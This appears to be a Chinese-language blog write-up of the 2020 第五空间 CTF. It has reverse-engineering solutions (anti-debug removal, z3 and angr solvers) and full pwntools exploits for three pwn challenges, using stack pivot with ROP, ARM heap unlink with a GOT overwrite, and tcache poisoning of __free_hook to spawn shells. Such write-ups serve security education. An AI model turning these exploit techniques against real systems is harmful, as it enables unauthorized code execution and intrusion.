第五空间_2020 write up

发布于 2020-06-24  466 次阅读


Reverse

nop

程序逻辑并不复杂,就是反调试有点多

程序要求输入一个32位整数 tmp
file

接下来的程序逻辑被混淆了,为了便于理解程序逻辑,进行去花操作。

.text:0804869C                 lea     ecx, [esp+4]
.text:080486A0                 and     esp, 0FFFFFFF0h
.text:080486A3                 push    dword ptr [ecx-4]
.text:080486A6                 push    ebp
.text:080486A7                 mov     ebp, esp
.text:080486A9                 push    ecx
.text:080486AA                 sub     esp, 4
.text:080486AD                 mov     eax, ecx
.text:080486AF                 mov     eax, [eax+4]
.text:080486B2                 mov     eax, [eax]
.text:080486B4                 sub     esp, 0Ch
.text:080486B7                 push    eax             ; s1
.text:080486B8                 call    sub_804865B
.text:080486BD                 add     esp, 10h
.text:080486C0                 sub     esp, 0Ch
.text:080486C3                 push    offset s        ; "input your flag"
.text:080486C8                 call    _puts
.text:080486CD                 add     esp, 10h
.text:080486D0                 sub     esp, 8
.text:080486D3                 push    offset tmp
.text:080486D8                 push    offset aD       ; "%d"
.text:080486DD                 call    ___isoc99_scanf
.text:080486E2                 add     esp, 10h
.text:080486E5                 nop
.text:080486E6                 nop
.text:080486E7
.text:080486E7 loc_80486E7:                            ; CODE XREF: main+9D↓j
.text:080486E7                 mov     eax, ds:tmp
.text:080486EC                 nop
.text:080486ED                 nop
.text:080486EE                 nop
.text:080486EF                 nop
.text:080486F0                 nop
.text:080486F1                 inc     eax
.text:080486F2                 nop
.text:080486F3                 nop
.text:080486F4                 nop
.text:080486F5                 mov     ds:tmp, eax
.text:080486FA                 nop
.text:080486FB                 nop
.text:080486FC                 nop
.text:080486FD                 nop
.text:080486FE                 nop
.text:080486FF                 jmp     short loc_804870D
.text:08048701 ; ---------------------------------------------------------------------------
.text:08048701
.text:08048701 loc_8048701:                            ; CODE XREF: main+7B↓j
.text:08048701                 mov     ds:tmp, eax
.text:08048706                 nop
.text:08048707                 nop
.text:08048708                 nop
.text:08048709                 nop
.text:0804870A                 nop
.text:0804870B                 jmp     short loc_8048727
.text:0804870D ; ---------------------------------------------------------------------------
.text:0804870D
.text:0804870D loc_804870D:                            ; CODE XREF: main+63↑j
.text:0804870D                 mov     eax, ds:tmp
.text:08048712                 inc     eax
.text:08048713                 nop
.text:08048714                 nop
.text:08048715                 nop
.text:08048716                 nop
.text:08048717                 jmp     short loc_8048701
.text:08048719 ; ---------------------------------------------------------------------------
.text:08048719                 jmp     ebx
.text:0804871B ; ---------------------------------------------------------------------------
.text:0804871B
.text:0804871B loc_804871B:                            ; CODE XREF: main+9A↓j
.text:0804871B                 mov     ds:tmp, eax
.text:08048720                 nop
.text:08048721                 nop
.text:08048722                 nop
.text:08048723                 nop
.text:08048724                 nop
.text:08048725                 jmp     short loc_804873B
.text:08048727 ; ---------------------------------------------------------------------------
.text:08048727
.text:08048727 loc_8048727:                            ; CODE XREF: main+6F↑j
.text:08048727                 mov     eax, ds:tmp
.text:0804872C                 nop
.text:0804872D                 nop
.text:0804872E                 nop
.text:0804872F                 nop
.text:08048730                 nop
.text:08048731                 add     eax, 0CCCCCCCCh
.text:08048736                 jmp     short loc_804871B
.text:08048736 ; ---------------------------------------------------------------------------
.text:08048738                 db 90h
.text:08048739 ; ---------------------------------------------------------------------------
.text:08048739                 jmp     short loc_80486E7
.text:0804873B ; ---------------------------------------------------------------------------
.text:0804873B
.text:0804873B loc_804873B:                            ; CODE XREF: main+89↑j
.text:0804873B                 mov     eax, ds:tmp
.text:08048740                 push    offset sub_8048753
.text:08048745                 inc     eax
.text:08048746                 mov     ds:tmp, eax
.text:0804874B                 nop
.text:0804874C                 nop
.text:0804874D                 nop
.text:0804874E                 nop
.text:0804874F                 nop
.text:08048750                 pop     ebx
.text:08048751                 jmp     ebx
.text:08048751 main            endp
.text:08048751
.text:08048753
.text:08048753 ; =============== S U B R O U T I N E =======================================
.text:08048753
.text:08048753
.text:08048753 sub_8048753     proc near               ; DATA XREF: main+A4↑o
.text:08048753                 mov     eax, ds:tmp
.text:08048758                 call    sub_8048691
.text:0804875D                 inc     eax
.text:0804875E                 call    sub_8048691
.text:08048763                 nop
.text:08048764                 nop
.text:08048765                 jmp     short loc_8048779
.text:08048767 ; ---------------------------------------------------------------------------
.text:08048767                 sub     esp, 0Ch
.text:0804876A                 push    offset format   ; "Right"
.text:0804876F                 call    _printf
.text:08048774                 add     esp, 10h
.text:08048777                 jmp     short loc_8048789
.text:08048779 ; ---------------------------------------------------------------------------

会发现,对这个整数的操作仅限于

inc     eax;
add     eax, 0CCCCCCCCh;

https://blog.csdn.net/duguteng/article/details/7552774
查看其他函数,这些函数全部都是系统中断,查表可得这些系统中断对该程序的逻辑并没有任何贡献。

其中有一个单步中断(中断号为1)相当于反调试。

全部nop掉即可,不会影响程序逻辑。

最后程序进行了两次smc,将 tmp 对应的地址 nop 掉。

file

而后面check部分并没有对flag作任何的检测,而是直接跳转到了错误分支。

这时候程序的目的就很清晰了:通过nop两个字节来使程序输出 "right",所以让tmp进行加法操作后等于 0x08048765 即可 。

所以答案应该是 858993457 + 0x8048765 == 993507990

file

manage_code

这是一个用 .NET 编写的程序,用dnSpy打开,转到入口点:
file

点进去查看具体逻辑,发现无法打开,因为这个函数是 manage_code,类似于java中的 native 方法,只能通过 ida 对函数进行寻找并且分析。

file

用 ida32 打开,不要勾选.net的打开方式,发现如下函数:

file

这是一个 ascii_to_hex 的函数,判断依据是其中的 sub_5C23F0:

file

因为程序涉及到 flag 的输入以及处理,所以有理由怀疑这个函数被主逻辑调用,查看xref,发现只有一处调用:

file

接下来进行动态调试,会发现这个 ascii_to_hex 函数确实处理了我们刚刚输入的flag

file

下一个内存断点,发现一大堆 imul 开头的汇编,其实就是方程组,创建function,f5,用 z3 一把梭

from z3 import *

a1 = [Int(f'v{i}') for i in range(16)]

s = Solver()

v1 = 1
v2 = a1[0]
v3 = a1[1]
v33 = a1[0]
v32 = a1[1]
v4 = a1[2]
v29 = a1[2]
v31 = a1[3]
v5 = -497749 * v3
v6 = a1[4]
v7 = a1[5]
v30 = a1[4]
v27 = a1[5]
v8 = 515772 * v6
v9 = v1
v28 = a1[6]
v10 = a1[7]
v26 = a1[7]
v11 = a1[8]
v25 = v11
v12 = a1[9]
v24 = v12
v13 = v9
v14 = a1[10]
v23 = v14
v15 = v13
v16 = a1[11]
v21 = v16
v17 = a1[12]
v22 = v17
v18 = a1[13]
v19 = a1[14]

s.add(460546 * v2 == 99477936)
s.add(75614 * v2 - 213913 * v3 == -994329)
s.add(382637 * v33 + 31336 * v3 + 296328 * v4 == 156899184)
s.add(357061 * v4 + v5 - 410457 * v31 - 393122 * v33 == -46621942)
s.add(91311 * v33 + 304194 * v31 - 498545 * v32 - 323650 * v6 - 191881 * v4 == -123778935)
s.add(310740 * v7 + v8 + 519928 * v32 + 356904 * v31 + 36469 * v4 - 117296 * v33 == 200602442)
s.add(
    -185766 * v32 - 385459 * v28 + 65809 * v31 + -9619 * v30 - 503044 * v7 + 147844 * v29 + 214560 * v33 == -100594213)
s.add(
    191847 * v28 + 168750 * v30 - 428788 * v29 + -350049 * v7 - 91272 * v10 - 480308 * v31 - 415629 * v32 - 382456 * v33 == -256639537)
s.add(
    217101 * v33 + 189453 * v30 + 390490 * v27 + 227637 * v28 + 1900 * v10 + -80034 * v31 - 378617 * v29 - 134963 * v11 - 165486 * v32 == 88334294)
s.add(-156918 * v30
      - 446993 * v11
      + 448484 * v12
      + -33989 * v33
      - 295696 * v29
      + 272888 * v31
      + 433082 * v26
      + 41849 * v27
      + 508491 * v32
      - 11788 * v28 == 60547820)

s.add(280202 * v27
      + 88175 * v33
      + 386118 * v29
      + 387255 * v30
      + 418801 * v28
      + 488085 * v26
      + 394861 * v31
      + 191672 * v14
      + 74629 * v25
      - 201834 * v12
      - 297603 * v32 == 350819495)

s.add(83433 * v31
      + 44972 * v24
      + 447658 * v33
      + 440243 * v16
      + 295372 * v28
      + 208178 * v25
      - 440673 * v27
      - 506925 * v32
      - 36698 * v29
      - 316976 * v26
      - 308787 * v14
      - 279551 * v30 == -75128689)

s.add(-511422 * v26
      - 509708 * v25
      - 434779 * v17
      + 91090 * v32
      + 231653 * v23
      + 201793 * v24
      + 110284 * v31
      - 470983 * v28
      + -137592 * v27
      - 228393 * v16
      - 255956 * v30
      - 323170 * v33
      - 256545 * v29 == -310505629)

s.add(448743 * v32
      + 503101 * v21
      + 220227 * v28
      + -128561 * v33
      - 391950 * v29
      + 487983 * v27
      + 88192 * v17
      + -201446 * v30
      - 424031 * v23
      - 488181 * v24
      + 429280 * v26
      + 371669 * v31
      + 44191 * v25
      - 103645 * v18 == -64595853)

s.add(105894 * v18
      + 285526 * v29
      + -207554 * v22
      - 92067 * v30
      + 257078 * v31
      + 448481 * v25
      + 442776 * v19
      + 515287 * v21
      + 428015 * v28
      + 104376 * v32
      + 399959 * v33
      + 363233 * v26
      - 335619 * v24
      - 191469 * v23
      - 425094 * v27 == 201396633)

s.add(18237 * v31
      + 90641 * v33
      + 90326 * v28
      + 281146 * v21
      + 508381 * v18
      + -385408 * v19
      - 9278 * v29
      - 258181 * v26
      + 372092 * v32
      + 136711 * v25
      + 76470 * v30
      + 136397 * v24
      + -470805 * v27
      - 82856 * a1[15]
      - 266310 * v23
      - 83712 * v22 == 40707755)

if s.check() == sat:
    print("good!")
    m = s.model()

    for idx, ai in enumerate(a1):
        print(hex(m[ai].as_long())[2:], end = "")
        if idx in (2, 5, 8):
            print('-', end="")
else:
    print("boom!")

rev

用ROP链串起来的程序,如果挨个进行动态调试,调个几次应该也能分析出程序的逻辑。

不过我在网上发现了用 angr 进行解题的方法,这里记录一下。

import angr,claripy

# 导入项目
project = angr.Project("rev_v2")

# 利用符号求解引擎 claripy 对flag进行求解
argv1 = claripy.BVS("argv1",100*8)

# 接着创建一个状态(并指定输入参数),默认就是程序的入口地址,也可以指定一个地址作为入口地址
initial_state = project.factory.entry_state(args=["./rev_v2",argv1])

# 创建一个模拟器用于执行程序
simulation = project.factory.simgr(initial_state)

# 指定程序的目标
simulation.explore(find=0x400481)

# 输出结果
found = simulation.found[0]
solution = found.solver.eval(argv1, cast_to=bytes)
print(repr(solution))
solution = solution[:solution.find(b"\x00")]
print(solution)

angr 是一个自动化解题框架,对于逻辑简单,或者线性的题目可以一把梭,不过过于依赖它不太利于逆向的学习,所以angr只能作为一个辅助工具使用。

更多关于 angr 解题技巧的博客:
http://www.starssgo.top/2020/06/22/angr%E5%88%9D%E6%8E%A2/
https://blog.csdn.net/qq_33438733/article/details/80276628
https://xz.aliyun.com/t/4353
https://blog.csdn.net/qq_35713009/article/details/89766154
https://docs.angr.io/

Pwn

twice

程序逻辑比较简单,就是一个echo程序,只能执行两次echo,第一次能够输入80+9个字节,第二次能够输入80+33个字节。

也就是第一次泄露 canary,第二次可以构造ROP链。

考虑到 s 的长度为88个字节,所以除去 fake_rbp,第二次构造的ROP链最长为 16字节(两条),而前面 s 的位置正好可以用来进行 ROP,考虑进行栈迁移。

s (88字节)
canary
rbp
ret_addr

第一次echo的时候,程序泄露了canary,同时也泄露了rbp,通过偏移我们可以计算到 s 所处的地址。

第二次echo的时候,便可以将ROP链写到s中,而在ret_addr处执行栈迁移代码,这样栈迁移就完成了。

后面还涉及到读取 puts_addr 的问题,所以还需要再次调用 main 函数,再走一次栈迁移的流程,便可以构造ROP链进行 getshell 了。

注意:由于栈迁移以及ROP,rbp会发生改变,所以每次进行栈迁移之前都需要修正偏移量

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'DEBUG'
p = process('./pwn')
#p = remote('121.36.59.116', 9999)
elf = ELF('./pwn')

pop_rdi_ret = 0x0000000000400923
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x40087B
leave_ret = 0x0000000000400879
one_gadget = 0x45216

p.sendlineafter('>', 'a'*0x58)
p.recv(0x58)
canary = u64('\x00' + p.recv(8)[1:])
real_rbp = u64(p.recv(8)[:-2] + '\x00\x00')
s_addr = real_rbp + (0x7ffea3593cf0-0x7ffea3593d60)
s_addr -= 0x8 # because I called main and push another rbp

success('canary:'+hex(canary))
success('rbp:'+hex(real_rbp))
success('s_addr:'+hex(s_addr))

payload1 = 'b'*0x58 + p64(canary) + 'fake_rbp' + p64(main_addr)
p.send(payload1)
p.sendafter('>', "fuckyou")

pay = 'fake_rbp' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload2 = pay + 'c'*(0x58-len(pay)) + p64(canary)
payload2 += p64(s_addr) #fake_rbp
payload2 += p64(leave_ret)

p.sendafter('>', payload2)
p.recvuntil('\n')
puts_addr = u64(p.recv(6) + '\x00\x00')
success('puts_addr:' + hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')

success('libc_base:'+hex(libc_base))

#gdb.attach(p)

s_addr -= 0x50
p.sendafter('>', "fuckyou")

pay = 'fake_rbp' + p64(one_gadget + libc_base)
payload3 = pay + 'c'*(0x58-len(pay)) + p64(canary)
payload3 += p64(s_addr) #fake_rbp
payload3 += p64(leave_ret)
p.sendafter('>', payload3)

p.interactive()

pwn_me

arm32架构的pwn,这道题难点并不在思路本身,而是在于对arm架构的调试上。

调试脚本

首先调试软件必须使用 gdb-multiarch ,这导致我们 pwntools 不能使用 gdb.attach 附加进程,这里可以使用我的脚本一键打开新的窗口并且附加进程,只需提前设置好程序的入口点即可:

from pwn import *

context.log_level = 'debug'
context.arch = 'arm'

p = process(['qemu-arm','-L','.','-g','1234','./a.out'])

def gdb_attach(bp):
    os.system('gnome-terminal -e \"gdb-multiarch -ex \'set architecture arm\' -ex \'target remote localhost:1234\' -ex \'b *{}\' -ex \'c\'\"'. format(hex(bp)))

gdb_attach(0x10b3c)

调试技巧

其次是调试技巧,由于gdb对arm架构的汇编处理有问题,特别是对 bl 汇编的处理,bl 在x86平台的汇编类似于 call,它的本意是调用某个函数并返回,而gdb碰到这条语句无法步过(step over),只能步进(step in)。

所以我们只能先进入该函数,然后使用 finish 命令(跳出当前函数,返回上一个调用栈的位置),这样就能快速跳过一些不需要关心的函数。

思路

这道题就是一个简单的菜单题。change函数没有对新的字符串的大小进行检测。本来我准备使用 fastbin attack,却发现这里面的堆块 free 掉之后,出现了奇怪的fd,不知道原因是啥。

这题可以进行unlink,造成任意地址写。

不过要注意,利用 free smallbin 来泄露 libc 地址是不可行的,好像偏移有一些问题,不能直接使用该泄露的地址。所以我将某个指针改为了 puts_got,才算对了 libc_base。

相关资料

gdb调试相关指令: https://ivanzz1001.github.io/records/post/cplusplus/2018/08/18/cpluscplus-gdbusage_part1

arm指令集介绍: https://www.lhyerror404.cn/2020/03/16/arm%e6%9e%b6%e6%9e%84%e4%b8%8b%e7%9a%84-pwn-%e7%9a%84%e4%b8%80%e8%88%ac%e8%a7%a3%e5%86%b3%e6%80%9d%e8%b7%af/2/

exp

from pwn import *

context.log_level = 'debug'
context.arch = 'arm'

#p = process(['qemu-arm','-L','.','-g','1234','./a.out'])
p = process(['qemu-arm','-L','.','./a.out'])
elf = ELF('./a.out')
libc = ELF('./lib/libuClibc-1.0.34.so')

def show():
    p.sendafter('>>> ', '1')

def add(length, tag):
    p.sendafter('>>> ', '2')
    p.sendafter('Length:', str(length))
    p.sendafter('Tag:', tag)

def change(idx, length, tag):
    p.sendafter('>>> ', '3')
    p.sendafter('Index:', str(idx))
    p.sendafter('Length:', str(length))
    p.sendafter('Tag:', tag)

def remove(tag):
    p.sendafter('>>> ', '4')
    p.sendafter('Tag:', str(tag))

def gdb_attach(bp):
    os.system('gnome-terminal -e \"gdb-multiarch -ex \'set architecture arm\' -ex \'target remote localhost:1234\' -ex \'b *{}\' -ex \'c\'\"'. format(hex(bp)))

#gdb_attach(0x10b3c)

add(0x10, 0x10*'0')
add(0x80, 0x80*'1')
add(0x10, 0x10*'2')
add(0x10, 0x10*'3')
change(3, 10, '/bin/sh\x00')
target = 0x002106c

# unlink
payload1 = p32(0) + p32(0x11) + p32(target-0x4*3) + p32(target-0x4*2) + p32(0x10) + p32(0x88)
change(0, len(payload1), payload1)
remove(1)

# change pointers
payload2 = 'f'*0x8 + p32(0x10) + p32(0x021060) + p32(0x80) + p32(elf.got['puts']) + p32(0x10) + p32(0x220b8)
change(0, len(payload2), payload2)

# leak puts_got
show()
p.recvuntil('1 : ')
rev = u32(p.recv(4))
success('recv:'+hex(rev))

libc_base = rev - libc.symbols['puts']
success('libc_base:' + hex(libc_base))

# change free_got into system_addr
payload3 = 'f'*0x8 + p32(0x10) + p32(elf.got['free'])
change(0, len(payload3), payload3)

system_addr = libc_base + libc.symbols['system']
success('system_addr:' + hex(system_addr))
change(0, 6, p32(system_addr))

# call system('/bin/sh')
remove(3)

p.interactive()

of

服务器的二进制文件和给出的不同,服务器直接简化了题目,生成的随机数永远为0,这样就很容易利用tcache attack对got表进行修改了。

from pwn import *
r = remote('121.36.74.70',9999)
#r = process('./of')
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

rn = lambda n : r.recv(n)
ra = lambda : r.recv()
ru = lambda s : r.recvuntil(s)
rl = lambda : r.recvline()
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)

def add(idx):
    ru("Your choice: ")
    sl("1")
    ru("Index: ")
    sl(str(idx))

def edit(idx,content):
    ru("Your choice: ")
    sl("2")
    ru("Index: ")
    sl(str(idx))
    ru("Content: ")
    sd(content)

def show(idx):
    ru("Your choice: ")
    sl("3")
    ru("Index: ")
    sl(str(idx))

def free(idx):
    ru("Your choice: ")
    sl("4")
    ru("Index: ")
    sl(str(idx))

for i in range(8):
    add(i)
for i in range(7):
    free(i)

free(0)
show(0)
ru("Content: ")
lib = u64(rn(8)) - 0x7fe55589cca0 + 0x7fe5554b1000
print(hex(lib))

free_hook = lib+0x7f49ccb058e8-0x7f49cc718000
system = lib+0x7f49cc767440-0x7f49cc718000

add(0)
free(0)

edit(0,p64(free_hook))

add(1)
add(2)
edit(1,b'/bin/sh\x00')
edit(2,p64(system))
free(1)
r.interactive()

CTFer|NOIPer|CSGO|摸鱼|菜鸡